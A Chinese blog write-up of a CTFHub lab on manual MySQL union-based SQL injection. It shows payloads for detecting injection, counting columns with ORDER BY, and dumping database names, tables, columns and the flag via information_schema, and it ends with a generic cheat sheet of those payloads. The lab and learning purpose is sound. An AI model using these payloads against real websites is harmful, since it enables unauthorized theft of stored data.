mysql结构(ctfhub-sql注入)

2023-01-06 WP

0x01 流程

先手工判断是否存在注入,存在注入后检查注入点。

具体流程是根据wp来的

使用手工注入。先判断是否存在注入,发现存在注入后检查注入点。判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看全部数据库名,并查看这些数据库的表名,最后在qtfuyhckbp表中的数据发现此题 flag 。

sql语句:1 and 1 = 1,1 and 1 = 2回显错误,说明存在sql注入

在这里插入图片描述

使用order by 判断字段数量 ,order by 3时报错,说明字段为2

在这里插入图片描述

在id=1中加入负号可以查看到不存在数据库中的数据

在这里插入图片描述

查看数据库版本

在这里插入图片描述

查看数据库信息:

在这里插入图片描述

查看全部数据库名:

在这里插入图片描述

发现sqli库名不是数据库自带的,最后在sqli数据库中发现qtfuyhckbp,news两个表名

sql语句:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’

在这里插入图片描述

查看该表全部字段

union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘qtfuyhckbp’
在这里插入图片描述

查看这个字段的内容bzcrvljukh

sql语句:-1 union select 1,group_concat(bzcrvljukh) from sqli.qtfuyhckbp
得到的数据为flag,忘记截图了

0x02总结:

SQL手注流程(详见大佬wp

1.判断是否存在注入

and 1 = 1
and 1 = 2
or 1 = 1
or 1 = 2
?id=1’ and 1’ = 1’
?id=1’ and 1’ = 2’
2.判断字段数量,直到无回显异常为止

order by 1 #正常
order by 2 #正常
order by 3 #异常
3.查询注入点

?id=1 union select 1,2 #8为异常无回显
?id=-1 union select 1,2 #如果数据不存在数据库中,可以使用负号查找
?id=0 union select 1,2 #如果数据不存在数据库中,也可以使用零查找
4.查询数据库版本

union select 1,version() ‘’‘替换2为 version()
查询sql数据库版本’‘’
5.查询数据库名

union select 1,database() ‘’‘替换为 database()
查询数据库名’‘’
6.爆库

#数据库自带的表information_schema,其中包含所有的数据库信息
#schema_name 数据库名称
union select 1,group_concat(schema_name)from information_schema.schemata
7.查询表名

#table_name 表格名称
union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘表名’
8.爆字段

#column_name 字段名称
union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’
10.爆数据

union select 1,group_concat(数据名) from 库名.表名

0x03 分析

感觉是带着我回顾了一遍之前的几个题目,并进行了总结

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值